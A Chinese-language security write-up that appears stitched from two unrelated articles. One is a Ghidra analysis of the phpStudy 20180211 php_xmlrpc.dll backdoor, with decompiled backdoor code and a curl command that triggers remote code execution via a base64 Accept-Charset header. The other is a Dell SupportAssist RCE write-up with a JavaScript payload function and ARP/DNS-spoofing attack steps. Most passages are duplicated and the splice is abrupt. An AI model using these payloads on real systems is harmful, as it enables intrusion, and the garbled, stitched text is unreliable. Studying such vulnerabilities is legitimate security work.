使用 Ghidra 分析 phpStudy 后门
这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。
1. 工具和平台
主要工具:
Kali
Ghidra 9.0.4
010Editor 9.0.2
样本环境:
Windows7
phpStudy 20180211
2. 分析过程
先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中。
根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。
这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。
1. 工具和平台
主要工具:
Kali
Ghidra 9.0.4
010Editor 9.0.2
样本环境:
Windows7
phpStudy 20180211
2. 分析过程
先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中。
根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d5。
从上方结果“Code”字段看的出这三个关键字都位于文件 Data 段中。随便选中一个(我选的“@eval(%s(‘%s’));”)并双击,跳转到地址中,然后查看哪些地方引用过这个字符串(右击,References > Show References to Address)
第一个远程代码执行的后门
第一个后门存在于这段代码
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
);
if (iVar5 != -1) {
pcVar9 = s_gzip,deflate_1000ec74;
pbVar4 = *(byte )*local_28;
pbVar7 = pbVar4;
do {
bVar2 = *pbVar7;
bVar11 = bVar2 < (byte)*pcVar9;
if (bVar2 != *pcVar9) {
LAB_10003303:
iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
goto LAB_10003308;
}
if (bVar2 == 0) break;
bVar2 = pbVar7[1];
bVar11 = bVar2 < ((byte *)pcVar9)[1];
if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
pbVar7 = pbVar7 + 2;
pcVar9 = (char *)((byte *)pcVar9 + 2);
} while (bVar2 != 0);
iVar5 = 0;
LAB_10003308:
if (iVar5 == 0) {
uVar6 = 0xffffffff;
pcVar9 = s__SERVER_1000ec9c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
&local_1c);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = *(char )*local_1c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
local_10 = FUN_100040b0((int)*(char )*local_1c,~uVar6 - 1);
if (local_10 != (undefined4 *)0x0) {
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_24 = *(undefined4 *)(iVar5 + 0x128);
*(undefined )(iVar5 + 0x128) = local_ec;
iVar5 = _setjmp3(local_ec,0);
uVar3 = local_24;
if (iVar5 == 0) {
zend_eval_string(local_10,0,&DAT_10012884,param_3);
}
else {
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
local_24;
}
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
}
}
}
}
}
}
第一个后门存在于这段代码
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0xd8,
s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_ENCODING_1000ec84;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_ENCODING_1000ec84,~uVar6,&local_28
);
if (iVar5 != -1) {
pcVar9 = s_gzip,deflate_1000ec74;
pbVar4 = *(byte )*local_28;
pbVar7 = pbVar4;
do {
bVar2 = *pbVar7;
bVar11 = bVar2 < (byte)*pcVar9;
if (bVar2 != *pcVar9) {
LAB_10003303:
iVar5 = (1 - (uint)bVar11) - (uint)(bVar11 != false);
goto LAB_10003308;
}
if (bVar2 == 0) break;
bVar2 = pbVar7[1];
bVar11 = bVar2 < ((byte *)pcVar9)[1];
if (bVar2 != ((byte *)pcVar9)[1]) goto LAB_10003303;
pbVar7 = pbVar7 + 2;
pcVar9 = (char *)((byte *)pcVar9 + 2);
} while (bVar2 != 0);
iVar5 = 0;
LAB_10003308:
if (iVar5 == 0) {
uVar6 = 0xffffffff;
pcVar9 = s__SERVER_1000ec9c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) +
0xd8,s__SERVER_1000ec9c,~uVar6,&local_14);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = s_HTTP_ACCEPT_CHARSET_1000ec60;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
iVar5 = zend_hash_find(*(undefined4 *)*local_14,s_HTTP_ACCEPT_CHARSET_1000ec60,~uVar6,
&local_1c);
if (iVar5 != -1) {
uVar6 = 0xffffffff;
pcVar9 = *(char )*local_1c;
do {
if (uVar6 == 0) break;
uVar6 = uVar6 - 1;
cVar1 = *pcVar9;
pcVar9 = pcVar9 + 1;
} while (cVar1 != '\0');
local_10 = FUN_100040b0((int)*(char )*local_1c,~uVar6 - 1);
if (local_10 != (undefined4 *)0x0) {
iVar5 = *(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4);
local_24 = *(undefined4 *)(iVar5 + 0x128);
*(undefined )(iVar5 + 0x128) = local_ec;
iVar5 = _setjmp3(local_ec,0);
uVar3 = local_24;
if (iVar5 == 0) {
zend_eval_string(local_10,0,&DAT_10012884,param_3);
}
else {
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) =
local_24;
}
*(undefined4 *)
(*(int *)(*param_3 + -4 + *(int *)executor_globals_id_exref * 4) + 0x128) = uVar3;
}
}
}
}
}
}
第二处后门
沿着伪代码继续分析,看到这一段代码
双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来
沿着伪代码继续分析,看到这一段代码
双击 DAT_1000d66c,Ghidra 会自动跳转到该地址,然后在菜单选择 Window > Bytes 来打开十六进制窗口,现已处于地址 0x1000d66c,接下来要做的就是把 0x1000d66c~0x1000e5c4 之间的数据拷贝出来
朝虚拟机构造一个请求:
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图
$ curl -H "Accept-Charset: $(echo 'system("ipconfig");' | base64)" -H 'Accept-Encoding: gzip,deflate' 192.168.128.6
结果如图
我打开了 Chrome Web Inspector 和网络选项卡,然后按下“检测驱动程序”按钮
看起来 Web 客户端可以直接向SupportAssistAgent服务发出“下载并手动安装”程序的请求。我决定找到服务中的 Web 服务器,SupportAssistAgent以调查可以发出哪些命令
看起来 Web 客户端可以直接向SupportAssistAgent服务发出“下载并手动安装”程序的请求。我决定找到服务中的 Web 服务器,SupportAssistAgent以调查可以发出哪些命令
发现
去年 9 月,我打算买一台新笔记本电脑,因为我那台用了 7 年的 Macbook Pro 已经不能用了。我正在寻找一台性能符合我要求且价格合理的笔记本电脑,于是我决定买戴尔的 G3 15 笔记本电脑。我决定将笔记本电脑的 1TB 硬盘升级为 SSD。升级并重新安装 Windows 后,我必须安装驱动程序。这时事情变得有趣起来。访问戴尔的支持网站后,我得到了一个有趣的选项
“检测 PC”?它怎么能检测到我的 PC?出于好奇,我点击它看看发生了什么
去年 9 月,我打算买一台新笔记本电脑,因为我那台用了 7 年的 Macbook Pro 已经不能用了。我正在寻找一台性能符合我要求且价格合理的笔记本电脑,于是我决定买戴尔的 G3 15 笔记本电脑。我决定将笔记本电脑的 1TB 硬盘升级为 SSD。升级并重新安装 Windows 后,我必须安装驱动程序。这时事情变得有趣起来。访问戴尔的支持网站后,我得到了一个有趣的选项
“检测 PC”?它怎么能检测到我的 PC?出于好奇,我点击它看看发生了什么
我制作了一个自动发送有效载荷的函数
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
function SendRCEPayload() {
var auto_install_url = "http://127.0.0.1:" + server_port + "/downloadservice/downloadandautoinstall?expires=" + signatures.Expires + "&signature=" + signatures.DownloadAndAutoInstallToken;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", auto_install_url, true);
var files = [];
files.push({
"title": "SupportAssist RCE",
"category": "Serial ATA",
"name": "calc.EXE",
"location": " http://downloads.dell.com/calc.EXE", // those spaces are KEY
"isSecure": false,
"fileUniqueId": guid(),
"run": true,
"installOrder": 2,
"restricted": false,
"fileStatus": -99,
"driverId": "FXGNY",
"dupInstallReturnCode": 0,
"cssClass": "inactive-step",
"isReboot": false,
"scanPNPId": "PCI\\VEN_8086&DEV_282A&SUBSYS_08851028&REV_10",
"$$hashKey": "object:210"});
xmlhttp.send(JSON.stringify(files));
}
接下来是来自本地网络的攻击。以下是我在概念验证的外部部分(攻击者的机器)采取的步骤:
获取指定接口的接口 IP 地址。
启动模拟 Web 服务器并为其提供我们要发送的有效负载的文件名。Web 服务器检查 Host 标头是否是downloads.dell.com,如果是,则发送二进制有效负载。如果请求 Host 中包含 dell.com 且不是下载域,则发送我们之前提到的 javascript 有效负载。
要对受害者进行 ARP 欺骗,我们首先启用 IP 转发,然后向受害者发送一个 ARP 数据包,告诉它我们是路由器,并向路由器发送一个 ARP 数据包,告诉它我们是受害者机器。我们在漏洞利用期间每隔几秒重复发送这些数据包。退出时,我们将原始 mac 地址发送给受害者和路由器。
最后,我们使用 iptables 将 DNS 数据包重定向到 netfilter 队列,从而实现 DNS 欺骗。我们监听此 netfilter 队列并检查请求的 DNS 名称是否是我们的目标 URL。如果是,我们会发回一个假 DNS 数据包,表明我们的机器是该 URL 背后的真实 IP 地址。
当受害者访问我们的子域名时(直接通过 url 或间接通过 iframe),我们会向其发送恶意的 javascript 负载,该负载会找到代理的服务端口,从我们之前创建的 php 文件中获取签名,然后发送 RCE 负载。当代理处理 RCE 负载时,它会发出请求,downloads.dell.com然后我们会返回二进制负载
获取指定接口的接口 IP 地址。
启动模拟 Web 服务器并为其提供我们要发送的有效负载的文件名。Web 服务器检查 Host 标头是否是downloads.dell.com,如果是,则发送二进制有效负载。如果请求 Host 中包含 dell.com 且不是下载域,则发送我们之前提到的 javascript 有效负载。
要对受害者进行 ARP 欺骗,我们首先启用 IP 转发,然后向受害者发送一个 ARP 数据包,告诉它我们是路由器,并向路由器发送一个 ARP 数据包,告诉它我们是受害者机器。我们在漏洞利用期间每隔几秒重复发送这些数据包。退出时,我们将原始 mac 地址发送给受害者和路由器。
最后,我们使用 iptables 将 DNS 数据包重定向到 netfilter 队列,从而实现 DNS 欺骗。我们监听此 netfilter 队列并检查请求的 DNS 名称是否是我们的目标 URL。如果是,我们会发回一个假 DNS 数据包,表明我们的机器是该 URL 背后的真实 IP 地址。
当受害者访问我们的子域名时(直接通过 url 或间接通过 iframe),我们会向其发送恶意的 javascript 负载,该负载会找到代理的服务端口,从我们之前创建的 php 文件中获取签名,然后发送 RCE 负载。当代理处理 RCE 负载时,它会发出请求,downloads.dell.com然后我们会返回二进制负载